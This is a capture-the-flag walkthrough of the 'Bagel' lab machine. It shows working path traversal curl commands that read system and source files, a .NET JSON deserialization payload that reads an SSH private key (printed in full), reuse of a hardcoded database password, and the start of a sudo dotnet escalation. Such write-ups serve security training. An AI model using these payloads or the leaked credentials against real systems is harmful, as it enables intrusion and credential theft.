Bagel
16 minutes to read
dotnet
with sudo
, which can be used to escalate privileges- OS: Linux
- Difficulty: Medium
- IP Address: 10.10.11.201
- Release: 24 / 02 / 2023
Port scanning
# Nmap 7.93 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.201 -p 22,5000,8000
Nmap scan report for 10.10.11.201
Host is up (0.069s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.8 (protocol 2.0)
| ssh-hostkey:
| 256 6e4e1341f2fed9e0f7275bededcc68c2 (ECDSA)
|_ 256 80a7cd10e72fdb958b869b1b20652a98 (ED25519)
5000/tcp open upnp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date:
| Connection: close
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| Server: Microsoft-NetCore/2.0
| Date:
| Connection: close
| Help, SSLSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date:
| Content-Length: 52
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (parts).)</h1>
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date:
| Content-Length: 54
| Connection: close
| Keep-Alive: true
| <h1>Bad Request (Invalid request line (version).)</h1>
| TLSSessionReq:
| HTTP/1.1 400 Bad Request
| Content-Type: text/html
| Server: Microsoft-NetCore/2.0
| Date:
| Content-Length: 52
| Connection: close
| Keep-Alive: true
|_ <h1>Bad Request (Invalid request line (parts).)</h1>
8000/tcp open http-alt Werkzeug/2.2.2 Python/3.10.9
|_http-server-header: Werkzeug/2.2.2 Python/3.10.9
| http-title: Bagel — Free Website Template, Free HTML5 Template by fr...
|_Requested resource was http://bagel.htb:8000/?page=index.html
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date:
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.10.9
| Date:
| Content-Type: text/html; charset=utf-8
| Content-Length: 263
| Location: http://bagel.htb:8000/?page=index.html
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://bagel.htb:8000/?page=index.html">http://bagel.htb:8000/?page=index.html</a>. If not, click the link.
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 105.61 seconds
This machine has ports 22 (SSH), 5000 and 8000 (HTTP) open.
Enumeration
If we go to http://10.10.11.201:8000
, we are redirected to http://bagel.htb:8000/?page=index.html
. After setting the domain in /etc/hosts
, we see this website:
The page
parameter is screaming to be vulnerable to Local File Read (LFR) or Local File Inclusion (LFI). We can test it using ./index.html
:
Using Directory Traversal, we can read files from the server like /etc/passwd
:
$ curl 'bagel.htb:8000/?page=../../../../etc/passwd'
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:65534:65534:Kernel Overflow User:/:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
tss:x:59:59:Account used for TPM access:/dev/null:/sbin/nologin
systemd-network:x:192:192:systemd Network Management:/:/usr/sbin/nologin
systemd-oom:x:999:999:systemd Userspace OOM Killer:/:/usr/sbin/nologin
systemd-resolve:x:193:193:systemd Resolver:/:/usr/sbin/nologin
polkitd:x:998:997:User for polkitd:/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/lib/rpcbind:/sbin/nologin
abrt:x:173:173::/etc/abrt:/sbin/nologin
setroubleshoot:x:997:995:SELinux troubleshoot server:/var/lib/setroubleshoot:/sbin/nologin
cockpit-ws:x:996:994:User for cockpit web service:/nonexisting:/sbin/nologin
cockpit-wsinstance:x:995:993:User for cockpit-ws instances:/nonexisting:/sbin/nologin
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/usr/share/empty.sshd:/sbin/nologin
chrony:x:994:992::/var/lib/chrony:/sbin/nologin
dnsmasq:x:993:991:Dnsmasq DHCP and DNS server:/var/lib/dnsmasq:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
systemd-coredump:x:989:989:systemd Core Dumper:/:/usr/sbin/nologin
systemd-timesync:x:988:988:systemd Time Synchronization:/:/usr/sbin/nologin
developer:x:1000:1000::/home/developer:/bin/bash
phil:x:1001:1001::/home/phil:/bin/bash
_laurel:x:987:987::/var/log/laurel:/bin/false
Here we see that phil
and developer
are valid system users. Before moving on, there is another endpoint at /orders
, but we don’t know what is this yet:
Exploiting LFR
One target for LFR / LFI vulnerabilities is trying to read source code. However, we need to know the absolute or relative path. For this, we can use ffuf
, so that we can try multiple words until we discover one that matches. This is the idea:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/common.txt -u 'http://bagel.htb:8000/?page=../FUZZ/index.html' -fs 14
[Status: 200, Size: 8698, Words: 745, Lines: 188, Duration: 73ms]
* FUZZ: static
Alright, so static
is the directory that contains index.html
. Let’s continue climbing until the root directory:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/common.txt -u 'http://bagel.htb:8000/?page=../../FUZZ/static/index.html' -fs 14
[Status: 200, Size: 8698, Words: 745, Lines: 188, Duration: 51ms]
* FUZZ: app
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/common.txt -u 'http://bagel.htb:8000/?page=../../../FUZZ/app/static/index.html' -fs 14
[Status: 200, Size: 8698, Words: 745, Lines: 188, Duration: 48ms]
* FUZZ: developer
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/common.txt -u 'http://bagel.htb:8000/?page=../../../../FUZZ/developer/app/static/index.html' -fs 14
[Status: 200, Size: 8698, Words: 745, Lines: 188, Duration: 62ms]
* FUZZ: home
Great, so the absolute path is /home/developer/app/static/index.html
. From the Server
HTTP header, we know that the server runs Python (probably Flask):
$ curl -I 10.10.11.201:8000
HTTP/1.1 302 FOUND
Server: Werkzeug/2.2.2 Python/3.10.9
Date: Tue, 28 Feb 2023 23:02:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 263
Location: http://bagel.htb:8000/?page=index.html
Connection: close
Therefore, we can try to find source files with .py
extension. Let’s enumerate in /home/developer/app
:
$ ffuf -w $WORDLISTS/SecLists/Discovery/Web-Content/common.txt -u 'http://bagel.htb:8000/?page=../../../../home/developer/app/FUZZ' -fs 14 -e .py
[Status: 200, Size: 1235, Words: 319, Lines: 38, Duration: 54ms]
* FUZZ: app.py
Fine, let’s read the file:
$ curl 'bagel.htb:8000/?page=../../../../home/developer/app/app.py'
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
As can be seen the file is only read using send_file
, so we have an LFR vulnerability (not LFI, because this would involve code execution).
Moreover, we can see that /orders
is and encpoint that connects to port 5000 via WebSocket and queries a file orders.txt
. We are able to mimic this functionality from our side:
$ python3 -q
>>> import json, websocket
>>> ws = websocket.WebSocket()
>>> ws.connect("ws://10.10.11.201:5000/")
>>> ws.send(json.dumps({'ReadOrder': 'orders.txt'}))
33
>>> json.loads(ws.recv())
{'UserId': 0, 'Session': 'Unauthorized', 'Time': '7:47:00', 'RemoveOrder': None, 'WriteOrder': None, 'ReadOrder': 'order #1 address: NY. 99 Wall St., client name: P.Morgan, details: [20 chocko-bagels]\norder #2 address: Berlin. 339 Landsberger.A., client name: J.Smith, details: [50 bagels]\norder #3 address: Warsaw. 437 Radomska., client name: A.Kowalska, details: [93 bel-bagels] \n'}
Moreover, there is a comment in the Python source code that refers to dotnet
(C# .NET) and a DLL. Probably, on port 5000 there is a .NET application that processes the orders. Since we have LFR, we can dump processes information in /proc/<pid>
. Particularly, we can read cmdline
to see how processes are started from the command-line interface. For this, let’s use a simple for
loop in Bash:
$ for i in {1..1000}; do (echo -n "$i: " && curl "bagel.htb:8000/?page=../../../../proc/$i/cmdline" -s) | grep -v ': $' | grep -av 'File not found'; done
1: /usr/lib/systemd/systemdrhgb--switched-root--system--deserialize35
758: /usr/lib/systemd/systemd-journald
771: /usr/lib/systemd/systemd-udevd
846: /usr/lib/systemd/systemd-oomd
849: /usr/lib/systemd/systemd-resolved
850: /usr/lib/systemd/systemd-userdbd
851: /sbin/auditd
852: /sbin/auditd
853: /usr/sbin/sedispatch
854: /usr/local/sbin/laurel--config/etc/laurel/config.toml
855: /sbin/auditd
883: /usr/sbin/NetworkManager--no-daemon
887: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
889: python3/home/developer/app/app.py
890: /usr/sbin/irqbalance--foreground
892: /usr/lib/polkit-1/polkitd--no-debug
893: /usr/sbin/rsyslogd-n
894: /usr/lib/systemd/systemd-logind
895: /usr/bin/VGAuthService-s
896: /usr/bin/vmtoolsd
898: /usr/sbin/rsyslogd-n
900: /usr/bin/dbus-broker-launch--scopesystem--audit
901: /usr/sbin/irqbalance--foreground
910: /usr/sbin/chronyd-F2
912: /usr/sbin/abrtd-d-s
916: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
917: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
918: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
919: dbus-broker--log4--controller9--machine-idce8a2667e5384602a9b46d6ad7614e92--max-bytes536870912--max-fds4096--max-matches131072--audit
920: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
921: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
922: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
923: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
924: /usr/sbin/abrtd-d-s
926: /usr/sbin/abrtd-d-s
927: /usr/bin/abrt-dump-journal-core-D-T-f-e
928: /usr/bin/abrt-dump-journal-oops-fxtD
929: /usr/bin/abrt-dump-journal-xorg-fxtD
931: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
934: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
936: dotnet/opt/bagel/bin/Debug/net6.0/bagel.dll
937: /usr/sbin/rsyslogd-n
939: /usr/bin/vmtoolsd
940: /usr/bin/vmtoolsd
943: /usr/sbin/NetworkManager--no-daemon
944: /usr/sbin/NetworkManager--no-daemon
946: /usr/lib/polkit-1/polkitd--no-debug
948: sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
949: /usr/sbin/gssproxy-D
950: /usr/sbin/gssproxy-D
951: /usr/sbin/gssproxy-D
952: /usr/sbin/gssproxy-D
953: /usr/sbin/gssproxy-D
954: /usr/sbin/gssproxy-D
955: /usr/lib/polkit-1/polkitd--no-debug
961: /usr/bin/vmtoolsd
965: /usr/lib/polkit-1/polkitd--no-debug
966: /usr/lib/polkit-1/polkitd--no-debug
985: /usr/lib/polkit-1/polkitd--no-debug
992: /usr/sbin/ModemManager
There are some PID that point to /opt/bagel/bin/Debug/net6.0/bagel.dll
. Actually, the command that is being run is:
dotnet /opt/bagel/bin/Debug/net6.0/bagel.dll
There is a null byte that separates the command and the DLL path:
$ curl "bagel.htb:8000/?page=../../../../proc/916/cmdline" -s | xxd
00000000: 646f 746e 6574 002f 6f70 742f 6261 6765 dotnet./opt/bage
00000010: 6c2f 6269 6e2f 4465 6275 672f 6e65 7436 l/bin/Debug/net6
00000020: 2e30 2f62 6167 656c 2e64 6c6c 00 .0/bagel.dll.
Let’s dowload the DLL:
$ curl 'bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll' -so - | file -
/dev/stdin: PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
$ curl 'bagel.htb:8000/?page=../../../../opt/bagel/bin/Debug/net6.0/bagel.dll' -so bagel.dll
Reversing a DLL
Since the DLL is compiled from C# .NET, we can open it in JetBrains dotPeek to extract the C# source code. This is the class Bagel
, with the Main
function:
// Decompiled with JetBrains decompiler
// Type: bagel_server.Bagel
// Assembly: bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 32A79BD4-65AA-4B36-9047-7C4DE45C43FB
// Assembly location: .\bagel.dll
using System;
using System.Text;
using System.Threading;
using WatsonWebsocket;
#nullable enable
namespace bagel_server
{
public class Bagel
{
private static string _ServerIp = "*";
private static int _ServerPort = 5000;
private static bool _Ssl = false;
private static WatsonWsServer _Server = (WatsonWsServer) null;
private static void Main(string[] args)
{
Bagel.InitializeServer();
Bagel.StartServer();
while (true)
Thread.Sleep(1000);
}
private static void InitializeServer()
{
Bagel._Server = new WatsonWsServer(Bagel._ServerIp, Bagel._ServerPort, Bagel._Ssl);
Bagel._Server.AcceptInvalidCertificates = true;
Bagel._Server.MessageReceived += new EventHandler<MessageReceivedEventArgs>(Bagel.MessageReceived);
}
private static async void StartServer() => await Bagel._Server.StartAsync(new CancellationToken());
private static void MessageReceived(object sender, MessageReceivedEventArgs args)
{
string json = "";
ArraySegment<byte> data;
int num;
if (args.Data != (ArraySegment<byte>) (byte[]) null)
{
data = args.Data;
num = data.Count > 0 ? 1 : 0;
}
else
num = 0;
if (num != 0)
{
Encoding utF8 = Encoding.UTF8;
data = args.Data;
byte[] array = data.Array;
data = args.Data;
int count = data.Count;
json = utF8.GetString(array, 0, count);
}
Handler handler = new Handler();
object obj1 = handler.Deserialize(json);
object obj2 = handler.Serialize(obj1);
Bagel._Server.SendAsync(args.IpPort, obj2.ToString(), new CancellationToken());
}
}
}
This class just sets up the WebSocket server and passes the JSON data to handler.Deserialize(json)
. This is class Handler
:
// Decompiled with JetBrains decompiler
// Type: bagel_server.Handler
// Assembly: bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 32A79BD4-65AA-4B36-9047-7C4DE45C43FB
// Assembly location: .\bagel.dll
using Newtonsoft.Json;
#nullable enable
namespace bagel_server
{
public class Handler
{
public object Serialize(object obj) => (object) JsonConvert.SerializeObject(obj, (Formatting) 1, new JsonSerializerSettings()
{
TypeNameHandling = (TypeNameHandling) 4
});
public object Deserialize(string json)
{
try
{
return (object) JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings()
{
TypeNameHandling = (TypeNameHandling) 4
});
}
catch
{
return (object) "{\"Message\":\"unknown\"}";
}
}
}
}
Here we have something interesting:
return (object) JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings()
{
TypeNameHandling = (TypeNameHandling) 4
});
JSON and .NET is known to be vulnerable to insecure deserialization if it is not well implemented. There are tools like ysoserial.net
which are used to perform deserialization attacks in C# .NET. Notice that (TypeNameHandling) 4
is the same as TypeNameHandling.Auto
, as shown in www.newtonsoft.com.
After researching a bit on insecure deserialization in .NET in systemweakness.com, we see that the implementation is correct. For instance, it calls Json.DeserializeObject<Base>
, so only Base
instances will be deserialized, which is this one:
// Decompiled with JetBrains decompiler
// Type: bagel_server.Base
// Assembly: bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 32A79BD4-65AA-4B36-9047-7C4DE45C43FB
// Assembly location: .\bagel.dll
using System;
#nullable enable
namespace bagel_server
{
public class Base : Orders
{
private int userid = 0;
private string session = "Unauthorized";
public int UserId
{
get => this.userid;
set => this.userid = value;
}
public string Session
{
get => this.session;
set => this.session = value;
}
public string Time => DateTime.Now.ToString("h:mm:ss");
}
}
This class’s attributes are printed in the WebSocket reply (userid
, time
, and Session
). Also, notice that Base
inherits from Orders
:
// Decompiled with JetBrains decompiler
// Type: bagel_server.Orders
// Assembly: bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 32A79BD4-65AA-4B36-9047-7C4DE45C43FB
// Assembly location: .\bagel.dll
#nullable enable
namespace bagel_server
{
public class Orders
{
private string order_filename;
private string order_info;
private File file = new File();
public object RemoveOrder { get; set; }
public string WriteOrder
{
get => this.file.WriteFile;
set
{
this.order_info = value;
this.file.WriteFile = this.order_info;
}
}
public string ReadOrder
{
get => this.file.ReadFile;
set
{
this.order_filename = value;
this.order_filename = this.order_filename.Replace("/", "");
this.order_filename = this.order_filename.Replace("..", "");
this.file.ReadFile = this.order_filename;
}
}
}
}
And here we have the other attribute from the WebSocket response (ReadOrder
). There are two more: WriteOrder
and RemoveOrder
. Let’s try to use WriteOrder
:
>>> ws.send(json.dumps({'WriteOrder': 'asdf'}))
28
>>> print(json.loads(ws.recv()))
{'UserId': 0, 'Session': 'Unauthorized', 'Time': '5:31:08', 'RemoveOrder': None, 'WriteOrder': 'Operation successed', 'ReadOrder': None}
And now the /orders
endpoint prints our data:
$ curl bagel.htb:8000/orders
asdf
But there’s nothing to do with WriteOrder
, the Flask server only prints the results, there is no execution or templating engine involved.
Let’s focus on how the file operations are handled. When setting ReadOrder
, the path is correctly sanitized to remove slashes (/
) and two dots (..
). Then, this.file.ReadFile
is set to this.order_filename
(which was value
, the value entered to the setter method). Moreover, for WriteOrder
, this.file.WriteFile
is set to this.order_info
, which is value
.
This is class File
:
// Decompiled with JetBrains decompiler
// Type: bagel_server.File
// Assembly: bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 32A79BD4-65AA-4B36-9047-7C4DE45C43FB
// Assembly location: .\bagel.dll
using System;
using System.Text;
#nullable enable
namespace bagel_server
{
public class File
{
private string file_content;
private string IsSuccess = (string) null;
private string directory = "/opt/bagel/orders/";
private string filename = "orders.txt";
public string ReadFile
{
set
{
this.filename = value;
this.ReadContent(this.directory + this.filename);
}
get => this.file_content;
}
public void ReadContent(string path)
{
try
{
this.file_content += string.Join("\n", System.IO.File.ReadLines(path, Encoding.UTF8));
}
catch (Exception ex)
{
this.file_content = "Order not found!";
}
}
public string WriteFile
{
get => this.IsSuccess;
set => this.WriteContent(this.directory + this.filename, value);
}
public void WriteContent(string filename, string line)
{
try
{
System.IO.File.WriteAllText(filename, line);
this.IsSuccess = "Operation successed";
}
catch (Exception ex)
{
this.IsSuccess = "Operation failed";
}
}
}
}
Notice that there are two attributes called directory
and filename
that are hard-coded. In fact, we can query the orders.txt
file with the LFR vulnerability:
$ curl 'bagel.htb:8000/?page=../../../../opt/bagel/orders/orders.txt'
asdf
In ReadFile
, this.filename
is updated to value
. However, recall that ReadOrder
did sanitize the order_filename
variable.
There is an additional class DB
that is never used:
// Decompiled with JetBrains decompiler
// Type: bagel_server.DB
// Assembly: bagel, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 32A79BD4-65AA-4B36-9047-7C4DE45C43FB
// Assembly location: .\bagel.dll
using Microsoft.Data.SqlClient;
using System;
namespace bagel_server
{
public class DB
{
[Obsolete("The production team has to decide where the database server will be hosted. This method is not fully implemented.")]
public void DB_connection()
{
SqlConnection sqlConnection = new SqlConnection("Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K");
}
}
}
It shows database credentials: dev:k8wdAYYKyhnjg3K
.
Foothold
We know that developer
is a system user, because it appears in /etc/hosts
, we can try to reuse this credentials for SSH, but password authentication is disabled:
$ ssh developer@10.10.11.201
developer@10.10.11.201: Permission denied (publickey,gssapi-keyex,gssapi-with-mic).
Deserialization attack
Although the serialization implementation is correct, there is a flaw in the Orders
class, particularly in attribute RemoveOrder
:
public object RemoveOrder { get; set; }
The object
type is the parent of all objects, so we can set that RemoveOrder
is actually of type File
and read arbitrary files with ReadFile
. For this to work, we must enter $type
keyword in the JSON payload set to bagel_server.File, bagel
(for the name of the namespace plus the class and the name of the DLL file). This is an example to read /etc/hosts
using Directory Traversal:
>>> ws.send(json.dumps({'RemoveOrder': {'$type': 'bagel_server.File, bagel', 'ReadFile': '../../../etc/hosts'}}))
94
>>> print(json.loads(ws.recv()))
{'UserId': 0, 'Session': 'Unauthorized', 'Time': '6:04:07', 'RemoveOrder': {'$type': 'bagel_server.File, bagel', 'ReadFile': '# Loopback entries; do not change.\n# For historical reasons, localhost precedes localhost.localdomain:\n127.0.0.1 localhost localhost.localdomain localhost4 localhost4.localdomain4 bagel\n::1 localhost localhost.localdomain localhost6 localhost6.localdomain6\n# See hosts(5) for proper format and other examples:\n# 192.168.1.10 foo.mydomain.org foo\n# 192.168.1.13 bar.mydomain.org bar', 'WriteFile': None}, 'WriteOrder': None, 'ReadOrder': None}
At this point, we can try to read the SSH private key for user developer
:
>>> ws.send(json.dumps({'RemoveOrder': {'$type': 'bagel_server.File, bagel', 'ReadFile': '../../../home/developer/.ssh/id_rsa'}}))
111
>>> print(json.loads(ws.recv())['RemoveOrder']['ReadFile'])
Order not found!
But it is not found, maybe phil
(the other system user) has a private key:
>>> ws.send(json.dumps({'RemoveOrder': {'$type': 'bagel_server.File, bagel', 'ReadFile': '../../../home/phil/.ssh/id_rsa'}}))
106
>>> print(json.loads(ws.recv())['RemoveOrder']['ReadFile'])
-----BEGIN OPENSSH PRIVATE KEY-----
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
nrEIIvsBGmrx0AAAAKcGhpbEBiYWdlbAE=
-----END OPENSSH PRIVATE KEY-----
There it is! Now we have access via SSH:
$ ssh -i id_rsa phil@10.10.11.201
[phil@bagel ~]$ cat user.txt
d028bd3daa4678b4108e39ad43a16ece
There is nothing to do with this user. We can switch to user developer
reusing the database password (k8wdAYYKyhnjg3K
):
[phil@bagel ~]$ su developer
Password:
[developer@bagel phil]$ cd
[developer@bagel ~]$
Privilege escalation
This user is able to run dotnet
as root
using sudo
:
[developer@bagel ~]$ sudo -l
Matching Defaults entries for developer on bagel:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS",
env_keep+="MAIL QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY
LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY",
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/var/lib/snapd/snap/bin
User developer may run the following commands on bagel:
(root) NOPASSWD: /usr/bin/dotnet
We could compile a binary from a C# .NET project, but there is a way to use F# in interactive mode, which is a scripting language:
[developer@bagel ~]$ dotnet -h
.NET SDK (6.0.113)
Usage: dotnet [runtime-options] [path-to-application] [arguments]
Execute a .NET application.
runtime-options:
--additionalprobingpath <path> Path containing probing policy and assemblies to probe for.
--additional-deps <path> Path to additional deps.json file.
--depsfile Path to <application>.deps.json file.
--fx-version <version> Version of the installed Shared Framework to use to run the application.
--roll-forward <setting> Roll forward to framework version (LatestPatch, Minor, LatestMinor, Major, LatestMajor, Disable).
--runtimeconfig Path to <application>.runtimeconfig.json file.
path-to-application:
The path to an application .dll file to execute.
Usage: dotnet [sdk-options] [command] [command-options] [arguments]
Execute a .NET SDK command.
sdk-options:
-d|--diagnostics Enable diagnostic output.
-h|--help Show command line help.
--info Display .NET information.
--list-runtimes Display the installed runtimes.
--list-sdks Display the installed SDKs.
